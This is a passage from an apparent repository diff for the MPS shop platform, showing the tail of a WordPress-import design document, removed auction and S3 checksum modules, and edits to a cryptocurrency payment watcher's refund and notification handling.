<content:encoded> — full HTML body (CDATA)
<excerpt:encoded> — excerpt (CDATA)
<wp:post_type> — "post", "page", "attachment", etc.
<wp:status> — "publish", "draft", "private", "trash"
<wp:post_date_gmt>
<wp:post_name> — URL slug
<wp:postmeta> — key/value metadata (featured image ID, etc.)
<wp:comment> — threaded comments (wp:comment_parent)
```
**XML parsing:** Use `xml.etree.ElementTree` for files under 50MB. For larger
exports (WP-CLI splits at 15MB by default), use `iterparse()` for streaming.
**Namespace handling:** WXR version affects namespace URIs (1.0, 1.1, 1.2).
Parse `wp:wxr_version` first, then set namespace dict accordingly.
**WXR gotchas:**
- Media files are NOT included — only URLs. Must download separately.
- `content:encoded` contains raw HTML with shortcodes and Gutenberg comments.
- Serialized PHP in `_wp_attachment_metadata` — use `phpserialize` to decode.
- WP-CLI exports may omit `_wp_attached_file` and `_wp_attachment_metadata`.
- May contain invalid UTF-8 or control characters — pre-clean before parsing.
- `wp:post_parent` links pages hierarchically (0 = top-level).
- Attachment items have `wp:attachment_url` with the source file URL.
## Content Mapping
### Posts & Pages → MPS Products (Content)
| WordPress | MPS Product | Notes |
|-----------|-------------|-------|
| `title` | `title` | Truncate to 256 chars |
| `content:encoded` / `content.rendered` | `description` (markdown) + `description_html` | See HTML conversion pipeline below |
| `excerpt:encoded` / `excerpt.rendered` | First line of `description` | Only if no excerpt, use first paragraph |
| `post_date_gmt` | `created_timestamp` | Convert to milliseconds |
| `modified_gmt` | `updated_timestamp` | Convert to milliseconds |
| `status=publish` | `visibility=1` (public) | |
| `status=draft` | `visibility=0` (private) | |
| `status=private` | `visibility=0` (private) | |
| `status=pending` | `visibility=0` (private) | |
| `featured_media` / `_thumbnail_id` | `thumbnail1` on S3 | Download + upload |
| Categories + tags | Metadata line in description | `**Categories:** Tech, Python` |
| `post_type=post` | `is_sellable=False` | Content item |
| `post_type=page` | `is_sellable=False` | Content item |
| `slug` | Used in `absolute_url()` | MPS auto-generates from title |
| `author` | Stored in description metadata | MPS has no per-product author field |
| `comment_status=open` | Comments enabled | Per-shop setting in MPS |
### Media/Attachments → S3
| WordPress | MPS S3 | Notes |
|-----------|--------|-------|
| Featured image | `{shop_id}/{product_id}/thumbnail1` | Download original (strip `-WxH` suffix) |
| Inline images in content | `{shop_id}/{product_id}/inline/{filename}` | Download, rewrite URLs in content |
| `wp-content/uploads/YYYY/MM/file.jpg` | Flat structure under product S3 path | |
| `srcset` / `sizes` attributes | Stripped | MPS serves single-resolution |
### Comments → MPS Comments
| WordPress | MPS Comment | Notes |
|-----------|-------------|-------|
| `comment_content` | `data` (markdown) + `data_html` | HTML→markdown conversion |
| `comment_date_gmt` | `created_timestamp` | Milliseconds |
| `comment_parent` | `parent_id` | 0 → null (top-level) |
| `comment_approved=1` | `approved=True` | |
| `comment_approved=0` | `approved=False` | |
| `comment_approved=spam/trash` | Skipped | |
| `comment_type=pingback/trackback` | Skipped | |
| `comment_author` | `data` attribution line | MPS comments require a user; attribute to shop owner |
## HTML Conversion Pipeline
WordPress content is HTML with WordPress-specific markup. Conversion to MPS
markdown happens in 4 phases:
```dot
// Render: dot -Tsvg docs/wordpress-import-html.dot -o docs/wordpress-import-html.dot.svg
digraph html_conversion {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=9];
edge [fontname="monospace", fontsize=8];
raw_html [label="Raw WordPress HTML\n\n<!-- wp:paragraph -->\n<p class=\"has-large-font-size\">\n[gallery ids=\"1,2,3\"]\n<img srcset=\"...\" />", fillcolor="#fce4ec", shape=note];
subgraph cluster_phase1 {
label="Phase 1: Pre-process (BeautifulSoup)";
style=dashed;
color="#5871ad";
strip_gutenberg [label="Strip Gutenberg\ncomments\n<!-- /?wp:\\S+.*?-->", fillcolor="#e8eaf6"];
strip_shortcodes [label="Strip shortcodes\n[vc_*] [et_pb_*]\n[fusion_*]\nkeep inner content", fillcolor="#e8eaf6"];
convert_embeds [label="Convert embeds\n[embed]URL[/embed]\n→ bare URL", fillcolor="#e8eaf6"];
convert_captions [label="Convert captions\n[caption] → <figure>", fillcolor="#e8eaf6"];
strip_srcset [label="Strip srcset/sizes\nStrip WP classes\nUnwrap empty divs", fillcolor="#e8eaf6"];
}
subgraph cluster_phase2 {
label="Phase 2: Image Migration";
style=dashed;
color="#58ad71";
find_imgs [label="Find all <img> src\nand background-image\nURLs", fillcolor="#e8f5e9"];
strip_suffix [label="Strip WP size suffix\n-300x200 → original\nphoto-1024x768.jpg\n→ photo.jpg", fillcolor="#e8f5e9"];
download [label="Download original\nfrom WP server\nrequests.get()\ntimeout=30s", fillcolor="#e8f5e9"];
upload_s3 [label="Upload to S3\n{shop_id}/{product_id}/\ninline/{filename}\nACL=public-read", fillcolor="#e8f5e9"];
rewrite [label="Rewrite src URLs\nold WP URL\n→ CDN URL", fillcolor="#e8f5e9"];
}
subgraph cluster_phase3 {
label="Phase 3: markdownify";
style=dashed;
color="#ad8f58";
converter [label="WPConverter\n(MarkdownConverter\nsubclass)", fillcolor="#fff8e1"];
figures [label="<figure> → ![alt](url)\n<figcaption> → caption", fillcolor="#fff8e1"];
code [label="<pre><code\nclass=\"language-*\">\n→ fenced code block", fillcolor="#fff8e1"];
headings [label="ATX headings (#)\nbody_width=0\nunicode_snob=True", fillcolor="#fff8e1"];
}
subgraph cluster_phase4 {
label="Phase 4: Post-process";
style=dashed;
color="#666666";
collapse [label="Collapse blank lines\n3+ newlines → 2", fillcolor="#f5f5f5"];
metadata [label="Prepend metadata\n**Categories:** ...\n**Tags:** ...\n**Author:** ...", fillcolor="#f5f5f5"];
flag [label="Flag posts with\nunconverted <html>\nfor manual review", fillcolor="#f5f5f5"];
}
output [label="MPS Content\n\nProduct.description\n(raw markdown)\n\nProduct.description_html\n(rendered HTML)", fillcolor="#e8f5e9", shape=note];
// Flow
raw_html -> strip_gutenberg;
strip_gutenberg -> strip_shortcodes;
strip_shortcodes -> convert_embeds;
convert_embeds -> convert_captions;
convert_captions -> strip_srcset;
strip_srcset -> find_imgs;
find_imgs -> strip_suffix;
strip_suffix -> download;
download -> upload_s3;
upload_s3 -> rewrite;
rewrite -> converter;
converter -> figures;
converter -> code;
converter -> headings;
figures -> collapse [style=invis];
code -> collapse [style=invis];
headings -> collapse;
collapse -> metadata;
metadata -> flag;
flag -> output;
}
```
![HTML Conversion Pipeline](wordpress-import-html.dot.svg)
### Library Choice: markdownify (MIT license)
`markdownify` over `html2text` (GPL-3.0) because:
- MIT license vs GPL-3.0
- Subclassing allows per-tag override for WP-specific patterns
- Better handling of nested lists, figures, code blocks
- BeautifulSoup backend enables pre-processing in the same pipeline
### Shortcode Handling
| Shortcode | Strategy |
|-----------|----------|
| `[gallery ids="1,2,3"]` | Resolve attachment IDs to image URLs, emit markdown images |
| `[caption]...[/caption]` | Convert to `<figure>`, let markdownify handle |
| `[embed]URL[/embed]` | Extract bare URL |
| `[video]` / `[audio]` | Extract src URL |
| `[vc_*]` (WPBakery) | Strip shortcode tags, keep inner content |
| `[et_pb_*]` (Divi) | Strip shortcode tags, keep inner content |
| `[fusion_*]` (Avada) | Strip shortcode tags, keep inner content |
| Unknown shortcodes | Strip tags, keep inner content, log warning |
### Page Builder Content
Page builders (Elementor, Divi, WPBakery, Beaver Builder) store layout as
shortcodes or custom block markup. After stripping layout shortcodes, the
remaining text content is usually extractable. Posts with heavy page builder
usage are flagged for manual review in the import report.
**Best practice:** If the WordPress site is still running, install the
"Export Without Shortcodes" plugin before exporting. This renders shortcodes
to HTML during WXR export, producing much cleaner content.
## Product Creation Flow
For each imported post/page, the script follows the same code path as
`views/product.py:product_new()`:
```python
product = Product(title, description_markdown)
product.shop = shop
product.is_sellable = False
product.is_bundle = False
product.is_physical = False
product.visibility = visibility # mapped from WP status
product.created_timestamp = wp_timestamp_to_ms(post_date_gmt)
product.updated_timestamp = wp_timestamp_to_ms(modified_gmt)
# Override description_html with the pre-rendered HTML
# (markdownify round-trip may differ from MPS markdown renderer)
product.description_html = rendered_html
dbsession.add(product)
dbsession.flush()
```
### S3 Upload (bypassing browser upload flow)
The import script writes directly to S3, bypassing the presigned-URL webhook
flow used by the browser:
```python
s3_client.put_object(
Bucket=bucket_name,
Key=f"{product.s3_path}/thumbnail1",
Body=image_bytes,
ContentType=content_type,
ACL="public-read", # content thumbnails are always public
CacheControl="private, max-age=172800",
)
product.set_file_metadata("thumbnail1", extension, original_filename)
product.file_bytes = {"thumbnail1": len(image_bytes)}
```
### Discovery Ring
After all products are imported, trigger a single discovery ring reforge:
```python
from make_post_sell.models.shop import reforge_discovery_ring
reforge_discovery_ring(shop)
```
This computes the greedy nearest-neighbor ordering across all public products
using stemmed word Jaccard similarity.
## CLI Interface
```
usage: import_wordpress.py [-h] --config INI --shop-id UUID
[--source-url URL | --wxr-file FILE]
[--dry-run] [--skip-media] [--skip-comments]
[--delay MS] [--verbose]
Import a WordPress site into an MPS shop.
required:
--config INI Path to MPS .ini config (e.g. data/development.ini)
--shop-id UUID Target MPS shop UUID
source (one required):
--source-url URL WordPress site URL (uses REST API)
--wxr-file FILE Path to WXR XML export file
options:
--dry-run Parse and report without writing to DB or S3
--skip-media Skip image download/upload (keep original URLs)
--skip-comments Skip comment import
--delay MS Delay between API requests in ms (default: 200)
--verbose Print detailed progress
```
## Import Report
The script prints a summary after completion:
```
WordPress Import Complete
─────────────────────────
Source: https://example.com (REST API)
Target: My Shop (shop_id: abc123...)
Duration: 2m 34s
Posts imported: 47 / 50 (3 skipped: empty content)
Pages imported: 12 / 12
Images downloaded: 183
Images uploaded: 183
Comments imported: 234
Categories found: 8
Tags found: 24
Warnings:
- 3 posts had page builder shortcodes (flagged for review)
- 2 images returned 404 (kept original URLs)
- 1 post title truncated from 312 to 256 chars
Discovery ring reforged with 59 products.
```
## Dependencies
| Package | Purpose | License |
|---------|---------|---------|
| `markdownify` | HTML→Markdown conversion | MIT |
| `beautifulsoup4` | HTML pre-processing | MIT |
| `requests` | HTTP client (REST API + image downloads) | Apache-2.0 |
| `lxml` | Fast XML parsing for large WXR files | BSD |
All are pip-installable. `requests` and `beautifulsoup4` are likely already
in the MPS dependency tree.
## Competitive Landscape
How other platforms handle WordPress migration:
| Platform | Input | Posts | Pages | Images | Comments | Shortcodes |
|----------|-------|-------|-------|--------|----------|------------|
| **Ghost** | WXR | Yes | Yes | Scraped from live site | No (no comment system) | Partial (vc_, et_) |
| **Squarespace** | WXR | Yes | Yes | Linked (not re-hosted) | Yes | No |
| **Shopify** | Third-party apps | Yes | Limited | Via apps | No | No |
| **Substack** | WXR | Yes | No | Linked | No | No |
| **Eleventy** | REST API | Yes | Yes | Downloaded + re-hosted | No | No |
| **Hugo (wp2hugo)** | WXR | Yes | Yes | Downloaded | Optional | Best (converts to Hugo shortcodes) |
| **MPS (this)** | REST API + WXR | Yes | Yes | Downloaded + re-hosted to S3 | Yes (threaded) | Strip + keep content |
### MPS advantages over competitors
1. **Both input modes** — REST API (zero-touch) and WXR (offline). Most competitors support only one.
2. **Image re-hosting** — Downloads and uploads to S3/CDN. Squarespace and Substack leave images on the old server (break when it goes down).
3. **Comments** — Threaded comment import. Ghost and Substack have no comment system. Squarespace imports but loses threading.
4. **Existing content features** — Search, RSS/Atom feeds, sitemap, comments, watch mode, discovery ring all work on imported content with zero additional setup.
5. **No vendor lock-in** — BYOB (Bring Your Own Bucket) means media stays on infrastructure the shop owner controls.
### Common migration complaints (from competitor users)
1. **Images break** — #1 complaint across all platforms. We solve this by downloading + re-hosting.
2. **Shortcode garbage** — Page builder content becomes unreadable. We strip layout shortcodes and keep text content, flagging posts for review.
3. **Formatting loss** — We preserve HTML and also generate markdown for future editing.
4. **SEO loss** — Average 523-day recovery from botched migration. We preserve dates, slugs, and content structure.
5. **Timeouts on large sites** — We paginate (REST API) and stream-parse (WXR) to handle any size.
## Future Enhancements
- **Web UI** — Upload WXR file through shop settings (new `form_section: import-settings`)
- **WooCommerce products** — Import sellable products with prices (`is_sellable=True`)
- **URL redirect map** — Generate nginx/Caddy redirect rules from old URLs to new MPS URLs
- **Incremental sync** — Re-run import to pick up new posts (skip existing by slug match)
- **Elementor JSON** — Parse Elementor's post meta JSON for richer content extraction
- **Multi-author** — Create MPS editor accounts per WordPress author

224
make_post_sell/lib/auction.py
View file

@ -1,224 +0,0 @@
"""Auction logic — MPS-20.
Pure functions for bid validation, soft-close math, and proxy resolution.
An orchestrator (place_bid) writes the bid + applies side effects.
Soft-close: a bid placed within `soft_close_seconds` of `end_timestamp`
extends the end by `soft_close_seconds`. eBay-style anti-snipe.
Proxy bidding (eBay-style):
- Each bidder may submit a `max_proxy_in_cents` — the secret ceiling they're
willing to pay. The visible bid (`amount_in_cents`) is what shows on the
auction page; the proxy is hidden.
- When a new bid arrives, we compare the new bidder's max_proxy to the
current winner's max_proxy. The bidder with the higher proxy stays
winning at min(loser_proxy + increment, winner_proxy). The loser sees
their bid recorded at their actual amount, but they're outbid.
- A new bid where max_proxy is None defaults to the visible amount —
no auto-incrementing.
Tie-breaking: identical proxies → the existing winner stays (first-in wins).
"""
from ..models.auction import (
AUCTION_STATE_ACTIVE,
MpsAuction,
MpsBid,
now_timestamp,
)
class BidRejected(Exception):
"""Raised when a bid cannot be accepted. Reason in .args[0]."""
# ── Pure helpers ─────────────────────────────────────────────────────────────
def validate_bid(
auction_state,
current_high_in_cents,
bid_increment_in_cents,
start_price_in_cents,
has_bids,
amount_in_cents,
max_proxy_in_cents=None,
):
"""Raise BidRejected if the bid is invalid; return None otherwise.
Pure: no side effects, no DB. Caller passes raw scalars so this fn is
100% unit-testable without a fixture.
Rules:
- auction must be in ACTIVE state
- amount must be a positive integer
- first bid: amount >= start_price
- subsequent bids: amount >= current_high + increment
- max_proxy (if set) must be >= amount
"""
if auction_state != AUCTION_STATE_ACTIVE:
raise BidRejected("auction is not active")
if not isinstance(amount_in_cents, int) or amount_in_cents <= 0:
raise BidRejected("bid amount must be a positive integer (cents)")
if max_proxy_in_cents is not None:
if not isinstance(max_proxy_in_cents, int) or max_proxy_in_cents < amount_in_cents:
raise BidRejected("max proxy must be >= bid amount")
if not has_bids:
if amount_in_cents < start_price_in_cents:
raise BidRejected(
f"bid below start price ({start_price_in_cents} cents)"
)
else:
floor = current_high_in_cents + bid_increment_in_cents
if amount_in_cents < floor:
raise BidRejected(
f"bid below current high + increment ({floor} cents)"
)
def is_within_soft_close(end_timestamp, now_ms, soft_close_seconds):
"""Pure: is `now_ms` inside the soft-close window?"""
if not end_timestamp or not soft_close_seconds:
return False
window_ms = soft_close_seconds * 1000
return (end_timestamp - now_ms) < window_ms and now_ms <= end_timestamp
def extended_end_timestamp(now_ms, soft_close_seconds):
"""Pure: new end_timestamp after soft-close fires."""
return now_ms + (soft_close_seconds * 1000)
def resolve_proxy(
top_amount_in_cents,
top_max_proxy_in_cents,
new_amount_in_cents,
new_max_proxy_in_cents,
bid_increment_in_cents,
):
"""Pure: given the current top bid and a new incoming bid (with optional
proxies), return (winning_amount_in_cents, new_bidder_wins).
- top_max_proxy and new_max_proxy default to their respective visible
amounts when callers pass None (no proxy submitted).
- Tie on max_proxy: existing top stays winning (first-in wins).
Returns:
(winning_amount_in_cents, new_bidder_wins) where new_bidder_wins
is True iff the incoming bidder takes the lead.
"""
top_proxy = (
top_max_proxy_in_cents
if top_max_proxy_in_cents is not None
else top_amount_in_cents
)
new_proxy = (
new_max_proxy_in_cents
if new_max_proxy_in_cents is not None
else new_amount_in_cents
)
if new_proxy > top_proxy:
# New bidder wins. Their visible amount auto-increments past
# the prior top's proxy, capped at their own proxy ceiling.
winning = min(top_proxy + bid_increment_in_cents, new_proxy)
# Floor: at least max(new_amount_in_cents, top_amount_in_cents + increment)
winning = max(winning, new_amount_in_cents)
return (winning, True)
# Existing top stays. Their visible amount auto-increments to defend
# against the new bid, capped at their own proxy ceiling.
winning = min(new_proxy + bid_increment_in_cents, top_proxy)
# Floor: never less than current top's visible amount.
winning = max(winning, top_amount_in_cents)
return (winning, False)
# ── Orchestrator ─────────────────────────────────────────────────────────────
def place_bid(
auction,
bidder,
amount_in_cents,
max_proxy_in_cents=None,
now_ms=None,
):
"""Place a bid on `auction` by `bidder`. Writes the bid, updates the
auction (soft-close, winning bid pointer), marks the prior winning bid
as outbid. Caller is responsible for transaction.commit().
Returns the new MpsBid on success. Raises BidRejected on rejection.
Block self-bidding (bidder == seller): caller's responsibility — the
pure validate_bid does not have visibility into seller identity.
"""
if now_ms is None:
now_ms = now_timestamp()
has_bids = auction.bids.count() > 0
validate_bid(
auction_state=auction.state,
current_high_in_cents=auction.current_high_in_cents,
bid_increment_in_cents=auction.bid_increment_in_cents,
start_price_in_cents=auction.start_price_in_cents,
has_bids=has_bids,
amount_in_cents=amount_in_cents,
max_proxy_in_cents=max_proxy_in_cents,
)
dbsession = auction.dbsession
# Find the current winning bid (if any) — only one per auction.
prior_winner = (
dbsession.query(MpsBid)
.filter(MpsBid.auction_id == auction.id, MpsBid.is_winning.is_(True))
.one_or_none()
)
bid = MpsBid(
auction=auction,
bidder=bidder,
amount_in_cents=amount_in_cents,
max_proxy_in_cents=max_proxy_in_cents,
)
if prior_winner is None:
# First bid takes the lead at face value.
bid.is_winning = True
dbsession.add(bid)
else:
winning_amount, new_bidder_wins = resolve_proxy(
top_amount_in_cents=prior_winner.amount_in_cents,
top_max_proxy_in_cents=prior_winner.max_proxy_in_cents,
new_amount_in_cents=amount_in_cents,
new_max_proxy_in_cents=max_proxy_in_cents,
bid_increment_in_cents=auction.bid_increment_in_cents,
)
if new_bidder_wins:
prior_winner.is_winning = False
prior_winner.outbid_timestamp = now_ms
bid.amount_in_cents = winning_amount
bid.is_winning = True
dbsession.add(bid)
else:
# New bid is recorded but loses; defending top auto-bids up.
bid.is_winning = False
bid.outbid_timestamp = now_ms
dbsession.add(bid)
prior_winner.amount_in_cents = winning_amount
# Soft-close: extend if bid arrived in the closing window.
if is_within_soft_close(
auction.end_timestamp, now_ms, auction.soft_close_seconds,
):
auction.end_timestamp = extended_end_timestamp(
now_ms, auction.soft_close_seconds,
)
auction.updated_timestamp = now_ms
dbsession.flush()
return bid

104
make_post_sell/lib/auction_tick.py
View file

@ -1,104 +0,0 @@
"""auction_tick — scheduled state transitions for MpsAuction.
Pure functions are unit-testable without a Pyramid environment; the
script entry point in scripts/auction_tick.py drives them with a real
dbsession.
Transitions:
SCHEDULED + start_timestamp passed → ACTIVE
ACTIVE + end_timestamp passed → ENDED (winner = is_winning bidder)
Idempotent: running the tick twice in a row is a no-op for any auction
that has already transitioned past the matching threshold.
"""
from ..models.auction import (
AUCTION_STATE_ACTIVE,
AUCTION_STATE_ENDED,
AUCTION_STATE_SCHEDULED,
MpsAuction,
MpsBid,
now_timestamp,
)
from .notifications import (
notify_auction_won,
notify_auction_ended_no_winner,
)
def transition_scheduled_to_active(auction, now_ms):
"""Pure: returns True iff the auction should transition.
Caller (orchestrator) mutates state."""
if auction.state != AUCTION_STATE_SCHEDULED:
return False
if auction.start_timestamp is None:
return False
return now_ms >= auction.start_timestamp
def transition_active_to_ended(auction, now_ms):
"""Pure: returns True iff the active auction should end now."""
if auction.state != AUCTION_STATE_ACTIVE:
return False
if auction.end_timestamp is None:
return False
return now_ms >= auction.end_timestamp
def tick(dbsession, now_ms=None):
"""Run state transitions on every non-terminal auction.
Returns a dict {activated: int, ended: int} of how many auctions
moved each direction. Caller (script entry point) handles its own
transaction/commit boundary.
"""
if now_ms is None:
now_ms = now_timestamp()
activated = 0
ended = 0
# Pull all auctions that could need a transition. Two simple queries
# avoid scanning the whole table — no MOAD-0001 here.
scheduled = (
dbsession.query(MpsAuction)
.filter(MpsAuction.state == AUCTION_STATE_SCHEDULED)
.filter(MpsAuction.start_timestamp <= now_ms)
.all()
)
for auction in scheduled:
auction.state = AUCTION_STATE_ACTIVE
auction.updated_timestamp = now_ms
activated += 1
active = (
dbsession.query(MpsAuction)
.filter(MpsAuction.state == AUCTION_STATE_ACTIVE)
.filter(MpsAuction.end_timestamp <= now_ms)
.all()
)
for auction in active:
auction.state = AUCTION_STATE_ENDED
auction.updated_timestamp = now_ms
# Record winner from is_winning bid (if any).
winning_bid = (
dbsession.query(MpsBid)
.filter_by(auction_id=auction.id, is_winning=True)
.one_or_none()
)
if winning_bid is not None:
auction.winner_user_id = winning_bid.bidder_user_id
auction.winning_bid_id = winning_bid.id
# Set payment deadline to end + 48h by default.
auction.payment_deadline_timestamp = now_ms + 48 * 3600 * 1000
# winner relationship is needed by the notifier — make
# sure the FK is resolved into the in-session object.
dbsession.flush()
notify_auction_won(dbsession, auction)
else:
notify_auction_ended_no_winner(dbsession, auction)
ended += 1
return {"activated": activated, "ended": ended}

27
make_post_sell/lib/cache_version.py
View file

@ -1,27 +0,0 @@
import hashlib
from ..views.version import GIT_HASH
def compute_cache_version(shop):
"""Opaque token that changes when deploys land or the ring is reforged.
Clients compare this to their localStorage copy; mismatch means
cached ring state (ringProductIds, ringPosition, ringHistory) is
stale and should be dropped before the next SPA navigation.
Inputs:
GIT_HASH — shifts on every deploy
shop.json_discovery_ring — shifts on every reforge (including
product adds/removes/visibility flips that trigger reforge)
"""
ring_str = (shop.json_discovery_ring or "") if shop is not None else ""
digest = hashlib.md5(f"{GIT_HASH}:{ring_str}".encode()).hexdigest()
return digest[:12]
def apply_no_store_headers(response):
"""Tell browsers not to cache this HTML response — always revalidate."""
response.headers["Cache-Control"] = "no-store, must-revalidate"
response.headers["Pragma"] = "no-cache"
response.headers["Expires"] = "0"

90
make_post_sell/lib/checksums.py
View file

@ -1,90 +0,0 @@
"""checksums.py — background MD5 + SHA-256 computation for uploaded files.
After a file lands in its final S3 location, compute both checksums by streaming
the object through Python's hashlib. Results are stored in the product's
file_metadata under {"checksums": {file_key: {"md5": "...", "sha256": "..."}}}.
Fire-and-forget daemon thread — same pattern as torrent.py and s3_mirror.py.
"""
import hashlib
import logging
import threading
import boto3
log = logging.getLogger(__name__)
def _capture_s3_creds(client):
creds = client._request_signer._credentials
meta = client.meta
return {
"endpoint": meta.endpoint_url,
"region": meta.region_name,
"access_key": creds.access_key,
"secret_key": creds.secret_key,
}
def _make_client(creds):
return boto3.session.Session().client(
"s3",
region_name=creds["region"],
endpoint_url=creds["endpoint"],
aws_access_key_id=creds["access_key"],
aws_secret_access_key=creds["secret_key"],
)
def compute_checksums(s3_client, bucket, s3_key, file_key, product_id, session_factory):
"""Stream s3_key, compute MD5 + SHA-256, save to product file_metadata.
Designed to run in a background thread.
"""
log.info("checksums: computing for product=%s key=%s", product_id, s3_key)
md5 = hashlib.md5()
sha256 = hashlib.sha256()
try:
response = s3_client.get_object(Bucket=bucket, Key=s3_key)
for chunk in response["Body"].iter_chunks(chunk_size=1024 * 1024):
md5.update(chunk)
sha256.update(chunk)
except Exception:
log.exception("checksums: failed to stream s3://%s/%s", bucket, s3_key)
return
md5_hex = md5.hexdigest()
sha256_hex = sha256.hexdigest()
log.info("checksums: product=%s key=%s md5=%s sha256=%s",
product_id, s3_key, md5_hex, sha256_hex[:16] + "...")
try:
with session_factory() as session:
from ..models.product import Product
product = session.get(Product, product_id)
if product is not None:
product.set_checksum(file_key, md5_hex, sha256_hex)
session.add(product)
session.commit()
log.info("checksums: saved for product=%s file_key=%s", product_id, file_key)
except Exception:
log.exception("checksums: failed to save for product=%s", product_id)
def compute_checksums_async(s3_client, bucket, s3_key, file_key, product_id, session_factory):
"""Fire-and-forget: compute checksums in a daemon thread."""
creds = _capture_s3_creds(s3_client)
def _run():
try:
fresh_client = _make_client(creds)
compute_checksums(fresh_client, bucket, s3_key, file_key, product_id, session_factory)
except Exception:
log.exception("checksums: background thread failed for product=%s", product_id)
t = threading.Thread(target=_run, daemon=True, name=f"checksums-{product_id}-{file_key}")
t.start()
log.info("checksums: background thread started for product=%s file_key=%s", product_id, file_key)

309
make_post_sell/lib/crypto_watcher/__init__.py
View file

@ -21,7 +21,6 @@ from ..mail import (
send_refund_email,
send_no_refund_shop_notification,
)
from ..notifications import notify_purchase_and_sale
from ...models.inventory import get_inventory_by_product_and_shop_location
from .crypto_payment_rescue import PaymentRescue
from ...models.meta import now_timestamp
@ -1275,36 +1274,6 @@ class ShopContextRequestWrapper:
"""Proxy app attribute from original request."""
return getattr(self._original_request, "app", {})
@property
def shop(self):
"""The shop this wrapped request is scoped to. Used by
derivative properties (e.g. shop_cdn_endpoint) that would
otherwise return None — env_request from the watcher loop
doesn't carry a request.shop."""
return self._shop
@property
def shop_cdn_endpoint(self):
"""Mirror of the regular `request.shop_cdn_endpoint` reified
method (see request_methods.py:add_shop_cdn_endpoint). Used by
send_purchase_email + send_sale_email to build product
thumbnail URLs. Without this, the proxy fell through to None
and the email's <img src> rendered as `None/<path>/...`."""
shop = self._shop
# BYOB shop with an explicit CDN endpoint wins.
if shop is not None and getattr(shop, "has_primary_s3", False):
byob = shop.primary_s3_cdn_endpoint
if byob:
return byob
# Otherwise fall back to the MPS-default public CDN.
app = getattr(self._original_request, "app", None)
if app is None:
return None
try:
return app["bucket.secure_uploads.get_endpoint"]
except Exception:
return None
def create_shop_context_request(env_request, crypto_payment: CryptoPayment):
"""Create a request wrapper with shop domain context for email generation."""
@ -1597,11 +1566,6 @@ def finalize_invoice(env_request, crypto_payment: CryptoPayment, send_emails=Tru
[item.product for item in invoice.line_items],
invoice.total,
)
# Drop in-app notifications alongside the sale email — the
# sales_email_sent flag is a proxy for "this finalization
# already ran"; gating here prevents a rescan from
# writing duplicate notification rows.
notify_purchase_and_sale(email_request, invoice)
crypto_payment.sales_email_sent = True
# Deduct inventory for physical products if a shop location is known
@ -1781,56 +1745,6 @@ def process_payment(
f"Duplicate payment: received {received_crypto} {crypto_payment.coin_type} to already-paid quote"
)
# Check if refund is economically viable
if not refund_details.get("economically_viable", True):
# Refund is not economically viable - transition to not-refunded state
log.payment_info(
crypto_payment,
f"Duplicate payment refund not economically viable: {refund_details['refund_amount']} {crypto_payment.coin_type} below threshold",
)
log.state_transition(
crypto_payment,
crypto_payment.status,
"DOUBLEPAY_NOT_REFUNDED",
"economically unviable refund",
)
crypto_payment.status = (
CryptoPayment.STATUS_DOUBLEPAY_NOT_REFUNDED
)
crypto_payment.refund_reason = f"Duplicate payment - refund economically unviable ({refund_details['refund_amount']} {crypto_payment.coin_type})"
# Store the unviable refund amount for record keeping
crypto_payment.refund_amount = int(
refund_details["refund_amount"]
* coin_config["atomic_units"]
)
# Send refund email notification
if crypto_payment.invoice and crypto_payment.invoice.user:
try:
# Create shop context request
email_request = create_shop_context_request(
env_request, crypto_payment
)
send_refund_email(
email_request,
crypto_payment.invoice.user.email,
crypto_payment,
refund_details,
)
log.payment_info(
crypto_payment,
"Sent refund email for economically unviable duplicate payment",
)
except Exception as e:
log.payment_error(
crypto_payment,
f"Failed to send refund email for economically unviable duplicate payment: {e}",
)
env_request.dbsession.add(crypto_payment)
env_request.dbsession.flush()
return # Exit early - no refund to process
log.refund_operation(
crypto_payment,
f"Duplicate payment eligible for refund: {refund_details}",
@ -2154,59 +2068,6 @@ def process_payment(
crypto_payment, received_crypto, crypto_payment.invoice.user
)
if refund_details:
# Check if refund is economically viable
if not refund_details.get("economically_viable", True):
# Refund is not economically viable - transition to not-refunded state
log.payment_info(
crypto_payment,
f"Expired payment refund not economically viable: {refund_details['refund_amount']} {crypto_payment.coin_type} below threshold",
)
log.state_transition(
crypto_payment,
crypto_payment.status,
"LATEPAY_NOT_REFUNDED",
"economically unviable refund",
)
crypto_payment.status = (
CryptoPayment.STATUS_LATEPAY_NOT_REFUNDED
)
crypto_payment.refund_reason = f"Late payment - refund economically unviable ({refund_details['refund_amount']} {crypto_payment.coin_type})"
# Store the unviable refund amount for record keeping
crypto_payment.refund_amount = int(
refund_details["refund_amount"]
* coin_config["atomic_units"]
)
# Send refund email notification
if crypto_payment.invoice and crypto_payment.invoice.user:
try:
# Create shop context request
email_request = create_shop_context_request(
env_request, crypto_payment
)
send_refund_email(
email_request,
crypto_payment.invoice.user.email,
crypto_payment,
refund_details,
)
log.payment_info(
crypto_payment,
"Sent refund email for economically unviable expired payment",
)
except Exception as e:
log.payment_error(
crypto_payment,
f"Failed to send refund email for economically unviable expired payment: {e}",
)
# Delete invoice for terminal state
delete_invoice_for_terminal_state(
env_request.dbsession, crypto_payment
)
return # Exit early - no refund to process
# Refund is viable - proceed with refund
log.refund_operation(
crypto_payment,
f"Expired payment eligible for refund: {refund_details}",
@ -2695,9 +2556,6 @@ def process_payment(
[item.product for item in crypto_payment.invoice.line_items],
crypto_payment.invoice.total,
)
notify_purchase_and_sale(
email_request, crypto_payment.invoice,
)
crypto_payment.sales_email_sent = True
log.payment_info(crypto_payment, "Sales notification email sent")
except Exception as e:
@ -2743,9 +2601,6 @@ def process_payment(
[item.product for item in crypto_payment.invoice.line_items],
crypto_payment.invoice.total,
)
notify_purchase_and_sale(
email_request, crypto_payment.invoice,
)
crypto_payment.sales_email_sent = True
log.payment_info(
crypto_payment,
@ -2924,109 +2779,52 @@ def process_payment(
)
if refund_details:
# Check if refund is economically viable
if not refund_details.get("economically_viable", True):
# Refund is not economically viable - transition to not-refunded state
result = payment_rescue.execute_refund(
refund_details, crypto_payment
)
if result["success"]:
log.payment_info(
crypto_payment,
f"Refund not economically viable: {refund_details['refund_amount']} {crypto_payment.coin_type} below threshold",
f"Refund executed for underpayment: TX {result['tx_hash']}",
)
log.state_transition(
crypto_payment,
crypto_payment.status,
"UNDERPAID_NOT_REFUNDED",
"economically unviable refund",
)
crypto_payment.status = (
CryptoPayment.STATUS_UNDERPAID_NOT_REFUNDED
)
crypto_payment.refund_reason = f"Underpayment - refund economically unviable ({refund_details['refund_amount']} {crypto_payment.coin_type})"
# Store the unviable refund amount for record keeping
# Track the refund details
